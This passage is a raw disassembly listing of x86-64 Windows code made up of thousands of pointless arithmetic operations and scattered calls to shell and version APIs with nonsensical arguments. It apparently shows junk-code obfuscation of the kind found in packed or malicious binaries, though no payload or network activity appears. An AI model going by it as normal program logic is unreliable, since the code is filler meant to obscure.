mov eax, dword [rsp + 0x662c]
movzx ecx, al
mov eax, dword [0x14019d1dc]
shr eax, cl
mov dword [rsp + 0x71cc], eax
mov rax, qword [rsp + 0xe278]
mov rcx, qword [rsp + 0xdff8]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xa058], rax
movsx eax, word [rsp + 0x2e84]
movsx ecx, word [rsp + 0x3108]
and eax, ecx
mov word [rsp + 0x2db0], ax
movzx eax, word [rsp + 0x2ac8]
movzx ecx, word [rsp + 0x2b24]
sub eax, ecx
mov word [0x14019f2f0], ax
mov rax, qword [rsp + 0xee80]
mov rcx, qword [rsp + 0xdf68]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9288], rax
movzx eax, word [rsp + 0x30d4]
mov word [rsp + 0x324c], ax
mov rax, qword [rsp + 0xdf90]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3164]
sar eax, cl
mov rcx, qword [rsp + 0xf5f8]
mov word [rcx], ax
lea rax, [rsp + 0xaca0]
mov qword [rsp + 0xfd38], rax
movsx eax, byte [0x14019ef9c]
mov rcx, qword [rsp + 0xed80]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x50e], al
mov eax, dword [rsp + 0x6f34]
mov rcx, qword [rsp + 0xdd00]
mov qword [rsp + 0xfd40], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfd40]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xf650]
mov dword [rcx], eax
mov rax, qword [rsp + 0xe5a0]
mov rax, qword [rax]
mov qword [rsp + 0xfd48], rax
movzx eax, word [0x14019d268]
movzx ecx, word [rsp + 0x2d38]
sub eax, ecx
mov word [rsp + 0x1b58], ax
lea rcx, [rsp + 0x1e8d0]
call qword [sym.imp.COMDLG32.dll_ReplaceTextW]
mov qword [rsp + 0xf728], rax
mov rax, qword [rsp + 0xf8b8]
mov rcx, qword [rsp + 0xf000]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [0x14019f3d0]
mov qword [rcx], rax
lea rax, [rsp + 0x56e]
mov qword [rsp + 0xfd50], rax
mov eax, dword [rsp + 0x6414]
mov ecx, dword [rsp + 0x6348]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x70dc], eax
mov rax, qword [rsp + 0xf780]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x31e8]
add eax, ecx
mov word [rsp + 0x2d00], ax
mov rax, qword [rsp + 0xddc0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2010]
add eax, ecx
mov word [rsp + 0xb78], ax
mov eax, dword [rsp + 0x71e4]
movzx ecx, al
mov eax, dword [rsp + 0x70b4]
shl eax, cl
mov rcx, qword [rsp + 0xf2b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xf570]
movzx eax, byte [rax]
mov byte [rsp + 0x5e9], al
mov rax, qword [rsp + 0xece8]
mov rax, qword [rax]
mov rcx, qword [0x14019f0f8]
mov qword [rsp + 0xfd58], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfd58]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xd0c8], rax
movsx eax, word [rsp + 0x1b44]
movsx ecx, word [rsp + 0x1c3c]
xor eax, ecx
mov word [rsp + 0x19ec], ax
movzx eax, word [rsp + 0x1f3c]
mov word [0x14019f79c], ax
mov rax, qword [rsp + 0xa5f8]
mov rcx, qword [0x14019efe0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc738], rax
mov rax, qword [rsp + 0xdc38]
mov rcx, qword [rsp + 0x9898]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xb558], rax
mov rax, qword [rsp + 0x98a0]
mov qword [rsp + 0xfd60], rax
mov rax, qword [0x14019f388]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2fb0]
sub eax, ecx
mov word [rsp + 0x2fec], ax
lea rax, [rsp + 0x94d8]
mov qword [rsp + 0xfd68], rax
movsx eax, byte [rsp + 0x445]
mov rcx, qword [0x14019f180]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xee30]
mov byte [rcx], al
mov rax, qword [rsp + 0xe1f0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x70e4]
shr eax, cl
mov dword [rsp + 0x632c], eax
lea rax, [rsp + 0x6540]
mov qword [rsp + 0xfd70], rax
movzx eax, byte [rsp + 0x2e4]
movzx ecx, byte [0x14019ef90]
shl eax, cl
mov byte [rsp + 0x15a], al
movsx eax, word [rsp + 0x30a0]
movsx ecx, word [rsp + 0x2ca8]
sub eax, ecx
mov rcx, qword [0x14019f618]
mov word [rcx], ax
mov rax, qword [rsp + 0xf1e8]
movzx eax, word [rax]
mov word [rsp + 0x3250], ax
movzx eax, word [rsp + 0x317c]
mov rcx, qword [0x14019f688]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xdf78]
mov word [rcx], ax
mov rax, qword [rsp + 0xda20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbf78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa5f8], rax
mov rax, qword [rsp + 0xf6b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcfd8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x93b8], rax
mov dword [rsp + 0x20], reloc.COMCTL32.dll_DrawInsert
lea r9, [rsp + 0x1e170]
mov r8, qword [rsp + 0xd4d8]
mov rdx, qword [rsp + 0xed18]
mov rcx, qword [rsp + 0xfd78]
call qword [sym.imp.SHELL32.dll_SHGetNewLinkInfoW]
mov dword [rsp + 0x6dd8], eax
mov rax, qword [rsp + 0xf368]
mov ecx, dword [rsp + 0x6edc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6480], eax
lea rax, [rsp + 0x46d]
mov qword [rsp + 0xfd80], rax
lea rcx, [rsp + 0xd6a8]
call qword [sym.imp.SHELL32.dll_ILRemoveLastID]
mov dword [rsp + 0x6fd4], eax
mov rax, qword [rsp + 0xecc8]
movsx eax, word [rax]
mov rcx, qword [0x14019f388]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1e7c], ax
mov rax, qword [rsp + 0xd8e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1214]
and eax, ecx
mov word [rsp + 0x274c], ax
mov rax, qword [rsp + 0xf620]
mov rcx, qword [rsp + 0xd558]
mov rax, qword [rax]
xor rax, rcx
mov qword [0x14019d3a8], rax
movzx eax, word [rsp + 0x3244]
mov word [rsp + 0x3254], ax
mov rax, qword [rsp + 0xdd68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd638]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xa6f8], rax
mov rax, qword [rsp + 0xecf0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xed28]
sar rax, cl
mov qword [rsp + 0xc190], rax
mov rax, qword [rsp + 0xe5d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xeb78]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x58c], al
mov rax, qword [rsp + 0xe128]
mov qword [rsp + 0xfd88], rax
movzx eax, byte [rsp + 0x4e9]
movzx ecx, byte [rsp + 0x566]
sub eax, ecx
mov rcx, qword [rsp + 0xe420]
mov byte [rcx], al
mov eax, dword [0x14019efa8]
imul eax, dword [rsp + 0x6d8c]
mov dword [rsp + 0x6100], eax
mov eax, dword [rsp + 0x7198]
mov dword [rsp + 0x726c], eax
movsx eax, word [rsp + 0x3164]
mov rcx, qword [rsp + 0xf258]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x14019f3b8], ax
mov rax, qword [rsp + 0xe0e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe558]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2a90], ax
lea rax, [rsp + 0x2604]
mov qword [rsp + 0xfd90], rax
mov rax, qword [rsp + 0xe2b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2f08]
or eax, ecx
mov word [rsp + 0x2c90], ax
mov eax, dword [rsp + 0x6d64]
mov ecx, dword [rsp + 0x7178]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5b54], eax
mov rax, qword [rsp + 0xdb78]
mov rcx, qword [rsp + 0xdea8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xaa18], rax
mov rax, qword [0x14019f180]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x516]
add eax, ecx
mov byte [rsp + 0x5e5], al
mov rax, qword [rsp + 0xced0]
movzx eax, word [rax]
mov word [rsp + 0x3258], ax
mov rax, qword [rsp + 0xebb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a80]
xor eax, ecx
mov word [rsp + 0x307c], ax
mov rax, qword [rsp + 0xe9f8]
mov qword [0x14019f7a0], rax
mov rax, qword [rsp + 0xdb50]
mov rcx, qword [rsp + 0xe5e0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xd000], rax
mov rax, qword [0x14019d088]
movzx ecx, al
mov rax, qword [rsp + 0xee38]
shl rax, cl
mov qword [rsp + 0xcab0], rax
mov rax, qword [rsp + 0xd918]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xfa20]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xbe80], rax
lea rax, [rsp + 0x2f98]
mov qword [rsp + 0xfd98], rax
mov rax, qword [rsp + 0xfae0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xf030]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x540], al
mov eax, dword [rsp + 0x5a88]
mov dword [rsp + 0x7270], eax
mov rax, qword [rsp + 0xece8]
mov rcx, qword [rsp + 0xfcc8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xee48]
mov qword [rcx], rax
mov rax, qword [rsp + 0xf368]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6970]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7064], eax
movsx eax, byte [rsp + 0x569]
mov rcx, qword [rsp + 0xfd80]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14019d014], al
movzx eax, word [rsp + 0xe78]
mov word [rsp + 0x325c], ax
movsx eax, word [rsp + 0x1774]
mov rcx, qword [rsp + 0xf4e0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xf48], ax
movzx eax, word [rsp + 0x11d4]
mov rcx, qword [rsp + 0xf3e8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x221c], ax
mov rax, qword [rsp + 0xe9e8]
mov rcx, qword [rsp + 0xe808]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xe630], rax
mov eax, dword [rsp + 0x6fa8]
mov ecx, dword [rsp + 0x6ff8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xedf0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x588]
mov byte [rsp + 0x5ea], al
mov rax, qword [rsp + 0xd4f0]
mov rcx, qword [rsp + 0xcd80]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xe7d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd7b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe968]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1e4c], ax
mov rax, qword [rsp + 0xe250]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe930]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x14019d048], ax
mov rax, qword [rsp + 0xf460]
mov rcx, qword [rsp + 0xe4d8]
mov qword [rsp + 0xfda0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfda0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xe098], rax
mov rax, qword [rsp + 0xec70]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xec90]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1898], ax
movzx eax, byte [rsp + 0x216]
mov byte [rsp + 0x5eb], al
mov rax, qword [rsp + 0xf688]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x592c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6eb4], eax
mov eax, dword [rsp + 0x7048]
imul eax, dword [rsp + 0x723c]
mov dword [rsp + 0x636c], eax
mov rax, qword [rsp + 0xbd18]
mov rcx, qword [rsp + 0xd428]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb498], rax
mov rax, qword [rsp + 0xeb18]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6f]
add eax, ecx
mov byte [rsp + 0x5cf], al
movzx eax, word [rsp + 0x213c]
mov word [rsp + 0x3260], ax
mov rax, qword [rsp + 0xf4b8]
movzx eax, word [rax]
mov word [0x14019f7a8], ax
mov rax, qword [rsp + 0xeb58]
mov rcx, qword [rsp + 0xac28]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xfbf0], rax
lea rax, [rsp + 0xf190]
mov qword [rsp + 0xfda8], rax
movsx eax, word [rsp + 0x2a74]
movsx ecx, word [0x14019d374]
sub eax, ecx
mov word [rsp + 0x2ce8], ax
movzx eax, word [rsp + 0x1eb4]
mov word [rsp + 0x3264], ax
mov rax, qword [rsp + 0xd0d0]
mov ecx, dword [rsp + 0x6fe4]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x7264], eax
movsx eax, byte [rsp + 0x539]
mov rcx, qword [rsp + 0xfd80]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x155], al
mov rax, qword [rsp + 0xebe8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xdc58]
shl rax, cl
mov qword [rsp + 0xb788], rax
lea r9, [rsp + 0xd8d8]
mov r8d, 0x6f
mov edx, PathYetAnotherMakeUniqueName
mov rcx, qword [rsp + 0xfdb0]
call sub.VERSION.dll_GetFileVersionInfoW
mov dword [rsp + 0x6ca4], eax
mov rax, qword [rsp + 0xd2e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xf770]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd478]
mov qword [rcx], rax
movsx eax, word [rsp + 0x3224]
mov rcx, qword [rsp + 0xddb8]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14019f200], ax
mov rax, qword [rsp + 0xf4f0]
movzx eax, word [rax]
mov word [rsp + 0x3268], ax
mov rax, qword [rsp + 0xe970]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6b50]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7028], eax
movzx eax, byte [rsp + 0x540]
mov rcx, qword [rsp + 0xf668]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x216], al
mov rax, qword [rsp + 0xfb10]
mov rcx, qword [rsp + 0xac20]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9770], rax
mov rax, qword [0x14019f198]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xf758]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xce70]
mov byte [rcx], al
mov eax, dword [rsp + 0x61d0]
mov dword [rsp + 0x7274], eax
mov rax, qword [rsp + 0xfcc8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xb028]
shl rax, cl
mov rcx, qword [rsp + 0xd110]
mov qword [rcx], rax
movsx eax, word [rsp + 0x19ec]
movsx ecx, word [rsp + 0x325c]
sar eax, cl
mov word [rsp + 0x3118], ax
lea rax, [rsp + 0x20f8]
mov qword [0x14019f7b0], rax
mov rax, qword [rsp + 0xf8b8]
mov rax, qword [rax]
mov qword [rsp + 0xfdb8], rax
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe90]
or eax, ecx
mov word [rsp + 0x29a8], ax
mov rax, qword [rsp + 0xdd10]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xbf4]
sub eax, ecx
mov word [rsp + 0x1d74], ax
mov rax, qword [rsp + 0xceb8]
mov rcx, qword [rsp + 0xd860]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xdd90]
mov qword [rcx], rax
mov rax, qword [rsp + 0xebe8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd988]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xe838], rax
mov rax, qword [rsp + 0xd058]
mov eax, dword [rax]
mov dword [rsp + 0x7278], eax
movsx eax, byte [rsp + 0x53f]
movsx ecx, byte [0x14019d013]
shl eax, cl
mov byte [rsp + 0x5dc], al
lea rax, [rsp + 0x2ff8]
mov qword [rsp + 0xfdc0], rax
mov rax, qword [rsp + 0xa1e8]
movzx ecx, al
mov rax, qword [rsp + 0x9d78]
sar rax, cl
mov qword [0x14019f148], rax
mov rax, qword [rsp + 0xde68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xe6d0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x227], al
mov rax, qword [rsp + 0xf888]
mov rcx, qword [rsp + 0xf2d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x5a2c], eax
movsx eax, word [rsp + 0x1910]
mov rcx, qword [rsp + 0xdb70]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2bec], ax
mov rax, qword [rsp + 0xcfb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xecb8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x254c], ax
lea rax, [rsp + 0x577]
mov qword [rsp + 0xfdc8], rax
mov rax, qword [rsp + 0xddc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5950]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7198], eax
mov rax, qword [rsp + 0xa3d8]
mov qword [rsp + 0xfdd0], rax
mov dword [rsp + 0x20], reloc.SHELL32.dll_ILFindLastID
mov r9d, 0xe9
lea r8, [rsp + 0x21150]
mov edx, 0xc8
mov rcx, qword [rsp + 0xcde8]
call qword [sym.imp.SHELL32.dll_SHGetFileInfoW]
mov dword [rsp + 0x6d24], eax
movsx eax, word [rsp + 0x2e24]
movsx ecx, word [rsp + 0x15b8]
sar eax, cl
mov word [rsp + 0x2bd0], ax
mov rax, qword [rsp + 0xd800]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xf248]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x14019f038], ax
mov edx, 0x21
mov rcx, qword [rsp + 0xfdd8]
call qword [sym.imp.SHELL32.dll_SHGetIconOverlayIndexW]
mov dword [rsp + 0x6d04], eax
mov rax, qword [rsp + 0xfaf8]
mov rcx, qword [rsp + 0xe9e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xdc78], rax
lea rdx, [rsp + 0x23110]
mov ecx, 0x3e
call qword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
mov dword [rsp + 0x70d4], eax
lea rax, [rsp + 0x6cb8]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0xfde0]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0xd4d8]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0xfab0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xddf0]
mov r8, qword [rsp + 0xe4e0]
mov rdx, qword [rsp + 0xfde8]
mov ecx, 0x44
call sub.VERSION.dll_VerInstallFileW
mov dword [rsp + 0x6e0c], eax
mov rax, qword [rsp + 0x8e20]
mov qword [rsp + 0xfdf0], rax
mov rax, qword [rsp + 0xd2a0]
mov rcx, qword [rsp + 0xefa8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9158], rax
mov rax, qword [rsp + 0xfa60]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xfa98]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x22e4], ax
mov rax, qword [rsp + 0xd9a0]
mov rcx, qword [rsp + 0xedd8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xed68], rax
mov rax, qword [0x14019f488]
mov ecx, dword [rsp + 0x603c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x69fc], eax
mov rax, qword [rsp + 0xe0c8]
movzx eax, byte [rax]
mov byte [rsp + 0x5ec], al
mov rax, qword [rsp + 0xdb30]
mov ecx, dword [rsp + 0x6f60]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6f38], eax
lea r9, [rsp + 0xd718]
lea r8, [rsp + 0x1f3f0]
lea rdx, [rsp + 0xdc20]
mov rcx, qword [rsp + 0xd3c0]
call qword [sym.imp.SHELL32.dll_SHGetDiskFreeSpaceExA]
mov dword [rsp + 0x7110], eax
movzx eax, byte [0x14019ef90]
movzx ecx, byte [rsp + 0x4e2]
shl eax, cl
mov byte [rsp + 0x119], al
movzx eax, word [rsp + 0x2ec8]
mov word [0x14019f7b8], ax
movzx eax, word [rsp + 0x2b04]
movzx ecx, word [0x14019d154]
sar eax, cl
mov word [rsp + 0x2ca0], ax
lea rax, [rsp + 0x313c]
mov qword [rsp + 0xfdf8], rax
mov rax, qword [rsp + 0xe3f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe2f0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xe5b8], rax
mov rax, qword [rsp + 0xfc48]
mov rcx, qword [0x14019f4a0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xedd8], rax
mov eax, dword [rsp + 0x7178]
mov dword [rsp + 0x727c], eax
movsx eax, byte [rsp + 0x5cb]
mov rcx, qword [rsp + 0xeed8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x44d], al
movsx eax, word [rsp + 0x2e00]
mov rcx, qword [0x14019f190]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1c54], ax
mov rax, qword [rsp + 0xebb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xef20]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2c98], ax
lea rax, [rsp + 0xd870]
mov qword [0x14019f7c0], rax
movzx eax, word [rsp + 0x2604]
movzx ecx, word [0x14019f3dc]
shl eax, cl
mov word [rsp + 0x1c4c], ax
lea rax, [rsp + 0xef50]
mov qword [rsp + 0xfe00], rax
mov rax, qword [rsp + 0xdda0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xebf8]
sar rax, cl
mov rcx, qword [rsp + 0xe8b0]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x26d]
mov byte [rsp + 0x5ed], al
mov rax, qword [rsp + 0xaaf8]
mov rcx, qword [rsp + 0x9bf8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xdce8], rax
mov rax, qword [rsp + 0xde68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x553]
sub eax, ecx
mov byte [rsp + 0x4f3], al
lea rax, [0x14019efac]
mov qword [rsp + 0xfe08], rax
mov rax, qword [rsp + 0xdbd8]
mov ecx, dword [rsp + 0x71a4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xd058]
mov dword [rcx], eax
mov rax, qword [rsp + 0xddb8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xf2e0]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14019d1e0], ax
movzx eax, word [0x14019f610]
mov word [rsp + 0x326c], ax
movzx eax, word [rsp + 0x31b4]
movzx ecx, word [rsp + 0x1b78]
add eax, ecx
mov word [rsp + 0x1b84], ax
mov rax, qword [rsp + 0xe318]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xdf00]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd7a0]
mov word [rcx], ax
lea rax, [0x14019d118]
mov qword [rsp + 0xfe10], rax
mov rax, qword [rsp + 0xe160]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe960]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x452], al
mov rax, qword [rsp + 0xf830]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6e84]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6508], eax
movsx eax, word [rsp + 0x2eac]
movsx ecx, word [rsp + 0x162c]
shl eax, cl
mov word [rsp + 0xf30], ax
mov rax, qword [rsp + 0xd910]
movzx eax, word [rax]
mov word [rsp + 0x3270], ax
mov rax, qword [0x14019f268]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xec50]
mov qword [rsp + 0xfe18], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfe18]
mov rax, qword [rax]
sar rax, cl
mov qword [0x14019d3b0], rax
mov rax, qword [rsp + 0xdfa0]
mov rcx, qword [rsp + 0xe650]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xd380], rax
mov rax, qword [rsp + 0xccb8]
mov rcx, qword [rsp + 0xe720]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa0e8], rax
mov rax, qword [rsp + 0xb8b0]
mov rcx, qword [rsp + 0xaf10]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xac88], rax
movzx eax, word [rsp + 0x2a80]
movzx ecx, word [rsp + 0x2f6c]
sar eax, cl
mov rcx, qword [rsp + 0xf940]
mov word [rcx], ax
lea rax, [rsp + 0x2e4]
mov qword [rsp + 0xfe20], rax
mov rax, qword [rsp + 0xda60]
mov ecx, dword [rsp + 0x6104]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5bc4], eax
mov eax, dword [rsp + 0x70e4]
mov rcx, qword [rsp + 0xddc8]
mov qword [rsp + 0xfe28], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfe28]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x726c], eax
mov rax, qword [0x14019f1f0]
mov rax, qword [rax]
mov qword [rsp + 0xfe30], rax
mov rax, qword [rsp + 0xe450]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xf8b0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14019ef91], al
movsx eax, word [rsp + 0x2ff0]
movsx ecx, word [rsp + 0x30f4]
add eax, ecx
mov rcx, qword [rsp + 0xf008]
mov word [rcx], ax
movzx eax, word [rsp + 0x3224]
mov word [rsp + 0x3274], ax
mov rax, qword [rsp + 0xf528]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d04]
xor eax, ecx
mov word [rsp + 0x1364], ax
mov rax, qword [rsp + 0x9fc8]
mov rcx, qword [rsp + 0xd0b8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa1a8], rax
mov edx, 0x90
mov rcx, qword [rsp + 0xd1f8]
call qword [sym.imp.SHELL32.dll_SHGetIconOverlayIndexW]
mov dword [rsp + 0x7220], eax
mov rax, qword [rsp + 0xd328]
mov rcx, qword [rsp + 0xebe8]
mov qword [rsp + 0xfe38], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfe38]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xb278], rax
mov rax, qword [rsp + 0xe1a8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x69fc]
shr eax, cl
mov dword [rsp + 0x6de0], eax
movzx eax, byte [rsp + 0x546]
mov byte [rsp + 0x5ee], al
movsx eax, word [rsp + 0x10c8]
movsx ecx, word [rsp + 0x2f50]
or eax, ecx
mov word [rsp + 0x2dfc], ax
movzx eax, word [rsp + 0x2ab0]
mov word [0x14019f7c8], ax
lea rax, [rsp + 0xeec0]
mov qword [rsp + 0xfe40], rax
movzx eax, word [0x14019d114]
mov rcx, qword [rsp + 0xe730]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2d4c], ax
movzx eax, byte [rsp + 0x552]
movzx ecx, byte [rsp + 0x33b]
add eax, ecx
mov byte [rsp + 0x42], al
mov rax, qword [rsp + 0xf468]
mov ecx, dword [rsp + 0x6f18]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x6060], eax
mov rax, qword [rsp + 0xe580]
mov rcx, qword [rsp + 0x95a0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xf2e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xf868]
movzx eax, byte [rax]
mov byte [rsp + 0x5ef], al
mov rax, qword [rsp + 0xd338]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xfb38]
mov qword [rsp + 0xfe48], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfe48]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6d64], eax
mov rax, qword [rsp + 0xced0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2cf4]
sar eax, cl
mov word [rsp + 0x288c], ax
mov rax, qword [rsp + 0xfdc0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c84]
or eax, ecx
mov word [0x14019d2dc], ax
lea rax, [rsp + 0xfc18]
mov qword [rsp + 0xfe50], rax
mov rax, qword [rsp + 0xd860]
mov rcx, qword [rsp + 0xedd0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xe918], rax
movzx eax, word [rsp + 0x2b38]
mov word [rsp + 0x3278], ax
mov rax, qword [rsp + 0xecd0]
movzx eax, word [rax]
mov rcx, qword [0x14019f588]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x30ec], ax
movsx eax, byte [rsp + 0x5b3]
movsx ecx, byte [rsp + 0x4ad]
xor eax, ecx
mov byte [rsp + 0x4d7], al
mov rax, qword [rsp + 0xe580]
